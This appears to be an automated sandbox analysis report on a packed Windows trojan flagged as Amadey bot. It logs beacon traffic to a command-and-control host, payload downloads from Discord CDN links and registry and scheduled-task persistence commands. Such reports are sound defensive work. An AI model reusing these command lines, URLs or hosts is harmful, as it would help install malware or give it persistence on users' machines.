Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache

Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233
Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 12 Nov 2021 21:23:08 GMTContent-Type: application/xml; charset=UTF-8Content-Length: 223Connection: closeCF-Ray: 6ad2d1d6dd0a4a67-FRACache-Control: private, max-age=0Expires: Fri, 12 Nov 2021 21:23:08 GMTVary: Accept-EncodingCF-Cache-Status: MISSAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"X-GUploader-UploadID: ADPycduOQ2nv5Veqkgd42QiqIN1sIXdDYGJaK0wdLV8urQNgSpDr69pR3XIAio1f1sDT9Al4rmK8RALe4q8xWISXyFWgSRzLkgX-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodpReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q%2FjU4Rea82v5xuYBKbz9MaCUJDcXw9Db8KegYBDPCbxZJb4DNC3pcuTEPmFF8DSyE4GjfahPmjnL5v9DsCEZQxtIP7%2BSQVzbWHaB%2B0QLIBIIuXnipLT8sfK8xIktf89J1y3hFg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 12 Nov 2021 21:23:19 GMTContent-Type: application/xml; charset=UTF-8Content-Length: 223Connection: closeCF-Ray: 6ad2d21b2ab93140-FRACache-Control: private, max-age=0Expires: Fri, 12 Nov 2021 21:23:19 GMTVary: Accept-EncodingCF-Cache-Status: MISSAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"X-GUploader-UploadID: ADPycdvjQNyKaBXxiqCCobPtgG1KSRPDCVkVQPgNMJ5ySD5KjTZi-_A2_BiphWIxXC8S3a66EUhiAneSexuIfCuRJBIX-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodpReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=keBV%2FCaatl1Isn0iloP08mxEsHAEsq6K0ajLic9XxHzBLDIBEDyhPhdOpctfhCe8O4VasRHLKe5D8QyIoiC61vEukE98minHtoN7xkp7Wt1eqnamo6RZxU7VpltHRKfEeLHxOQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Source: rnyuf.exe, 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp, rnyuf.exe, 00000003.00000002.946760130.00000000048E8000.00000004.00000001.sdmp, rnyuf.exe, 00000003.00000002.946810701.00000000048EB000.00000004.00000001.sdmp, rnyuf.exe, 00000003.00000003.882561138.000000000487F000.00000004.00000001.sdmp	String found in binary or memory: http://depressionk1d.ug/k8FppT/index.php
Source: rnyuf.exe, 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp	String found in binary or memory: http://depressionk1d.ug/k8FppT/index.php33219
Source: rnyuf.exe, 00000003.00000002.946613784.0000000004860000.00000004.00000001.sdmp	String found in binary or memory: http://depressionk1d.ug/k8FppT/index.php3321961m3
Source: rnyuf.exe, 00000003.00000002.946613784.0000000004860000.00000004.00000001.sdmp	String found in binary or memory: http://depressionk1d.ug/k8FppT/index.php?scr=1
Source: rnyuf.exe, 00000003.00000002.946613784.0000000004860000.00000004.00000001.sdmp	String found in binary or memory: http://depressionk1d.ug/k8FppT/index.php?scr=122q2
Source: rnyuf.exe, 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp	String found in binary or memory: http://depressionk1d.ug/k8FppT/index.php?scr=1S0
Source: rnyuf.exe, 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp	String found in binary or memory: http://depressionk1d.ug/k8FppT/index.php?scr=1f0
Source: rnyuf.exe, 00000003.00000003.756308778.000000000486C000.00000004.00000001.sdmp	String found in binary or memory: http://depressionk1d.ug/k8FppT/index.phpMT
Source: rnyuf.exe, 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp	String found in binary or memory: http://depressionk1d.ug/k8FppT/index.phpncoded
Source: rnyuf.exe, 00000003.00000002.946613784.0000000004860000.00000004.00000001.sdmp	String found in binary or memory: http://depressionk1d.ug/k8FppT/index.phpoAnm
Source: rnyuf.exe, 00000003.00000003.718145594.0000000000E9E000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/878034206570209333/908810886561534042/slhost.exe
Source: rnyuf.exe, 00000003.00000003.810127910.000000000488B000.00000004.00000001.sdmp	String found in binary or memory: https://displaycatalogg/k8FppT/index.php

Source: unknown

HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0

Source: unknown

DNS traffic detected: queries for: depressionk1d.ug

Source: global traffic	HTTP traffic detected: GET /attachments/878034206570209333/908810887417176084/vms.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/878034206570209333/908810886561534042/slhost.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/878034206570209333/908810887417176084/vms.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/878034206570209333/908810886561534042/slhost.exe HTTP/1.1Host: cdn.discordapp.com

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49785 version: TLS 1.2

System Summary:

PE file contains section with special chars

Show sources

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name:
Source: rnyuf.exe.0.dr	Static PE information: section name:
Source: rnyuf.exe.0.dr	Static PE information: section name:
Source: rnyuf.exe.0.dr	Static PE information: section name:
Source: rnyuf.exe.0.dr	Static PE information: section name:
Source: rnyuf.exe.0.dr	Static PE information: section name:

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_0127CD15	3_2_0127CD15
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_0127CD4C	3_2_0127CD4C
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_0127CD50	3_2_0127CD50
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_0127CDE8	3_2_0127CDE8
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_012531C0	3_2_012531C0
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_0127CDDC	3_2_0127CDDC
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_01274870	3_2_01274870
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_01263B47	3_2_01263B47
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_0127CE00	3_2_0127CE00

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe 735D3E2EB44123FE560CE027B907B3B1494B0F926ACEB641DCDF428A21B8AAC0

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: Section: ZLIB complexity 1.00041698052
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: Section: ZLIB complexity 1.00077810002
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: Section: ZLIB complexity 1.02178217822
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: Section: ZLIB complexity 1.04119850187
Source: rnyuf.exe.0.dr	Static PE information: Section: ZLIB complexity 1.00041698052
Source: rnyuf.exe.0.dr	Static PE information: Section: ZLIB complexity 1.00077810002
Source: rnyuf.exe.0.dr	Static PE information: Section: ZLIB complexity 1.02178217822
Source: rnyuf.exe.0.dr	Static PE information: Section: ZLIB complexity 1.04119850187

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Virustotal: Detection: 70%
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Process created: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe"
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe" /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Process created: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe" /F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\vms[1].exe

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

File created: C:\Users\user\AppData\Local\Temp\15213853321935212556

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@13/6@2/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6964:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6512:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Mutant created: \Sessions\1\BaseNamedObjects\152138533219352125563209

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

Static file information: File size 2588967 > 1048576

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

Static PE information: Raw size of .boot is bigger than: 0x100000 < 0x25ff27

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: rnyuf.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Code function: 0_2_00D077B0 push ebp; mov dword ptr [esp], ebx	0_2_00F673AB
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_013A77B0 push ebp; mov dword ptr [esp], ebx	3_2_016073AB
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_01293D3B push ebp; mov dword ptr [esp], esi	3_2_01614F32
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_013E992D push ebx; mov dword ptr [esp], edx	3_2_0163B348
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_012D156A push ebx; mov dword ptr [esp], 25B522B7h	3_2_016223E0
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_012D156A push 1C8B7467h; mov dword ptr [esp], esi	3_2_016223FA
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_013B8161 push 6B345031h; mov dword ptr [esp], ebp	3_2_016135C8
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_012E85BC push ebx; mov dword ptr [esp], 23153BDCh	3_2_0163606D
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_013DE18E push edi; mov dword ptr [esp], edx	3_2_0162E8C7
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_012A35FF push esi; mov dword ptr [esp], ecx	3_2_0161538A
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_012E85C6 push 1F1EAADDh; mov dword ptr [esp], edx	3_2_0162FC3C
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_01437068 push 4F6CC8BDh; mov dword ptr [esp], ebx	3_2_016232D7
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_013D547B push 1DCAEB9Dh; mov dword ptr [esp], ebx	3_2_015DE720
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_0141943A push eax; mov dword ptr [esp], 00000004h	3_2_0163718C
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_01441CC5 push 2B78D724h; mov dword ptr [esp], ebx	3_2_01636E19
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_0137E8AA push ebp; mov dword ptr [esp], 5CAAF538h	3_2_01625A6E
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_01343891 push 2297A551h; mov dword ptr [esp], ebp	3_2_01627940
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_01343891 push esi; mov dword ptr [esp], 146945FFh	3_2_0163E2B1
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_012EDC86 push 58108F33h; mov dword ptr [esp], eax	3_2_0163FAA3
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_01415CF6 push 0478B9E6h; mov dword ptr [esp], ecx	3_2_0162C530
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_0128E0E2 push eax; mov dword ptr [esp], 4E7A663Ah	3_2_0163F22F
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_013DC0E8 push 6EAC7F55h; mov dword ptr [esp], ebx	3_2_01617080
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_013DC0E8 push 7B8D7A8Eh; mov dword ptr [esp], ebx	3_2_01624F59
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_013C38E9 push esi; mov dword ptr [esp], ebx	3_2_0163F527
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_01412741 push 525E09E5h; mov dword ptr [esp], edi	3_2_0163871B
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_012F4727 push ebp; mov dword ptr [esp], esi	3_2_0162CB73
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_013A7F36 push edx; mov dword ptr [esp], ebx	3_2_01635D46
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_013F970E push ecx; mov dword ptr [esp], esp	3_2_0163C2B1
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_013ABB02 push edi; mov dword ptr [esp], ebp	3_2_0163249D
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_01297F14 push 6978E969h; mov dword ptr [esp], esi	3_2_0163F7F7
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_012F7FBD push 07D536E7h; mov dword ptr [esp], edi	3_2_01628192

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name: .imports
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name: .themida
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Static PE information: section name: .boot
Source: rnyuf.exe.0.dr	Static PE information: section name:
Source: rnyuf.exe.0.dr	Static PE information: section name:
Source: rnyuf.exe.0.dr	Static PE information: section name:
Source: rnyuf.exe.0.dr	Static PE information: section name:
Source: rnyuf.exe.0.dr	Static PE information: section name:
Source: rnyuf.exe.0.dr	Static PE information: section name: .imports
Source: rnyuf.exe.0.dr	Static PE information: section name: .themida
Source: rnyuf.exe.0.dr	Static PE information: section name: .boot

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: initial sample	Static PE information: section name: entropy: 7.97940314248
Source: initial sample	Static PE information: section name: entropy: 7.97940314248

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000002.946875767.00000000048F5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.943681294.0000000000E23000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.943646127.0000000000DE9000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.882574918.00000000048C6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.882522004.00000000048B3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.810169410.0000000000E50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.744803770.0000000000E50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.946613784.0000000004860000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rnyuf.exe PID: 5824, type: MEMORYSTR

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

File created: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Jump to dropped file

Boot Survival:

Creates an undocumented autostart registry key

Show sources

Source: C:\Windows\SysWOW64\reg.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe" /F

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

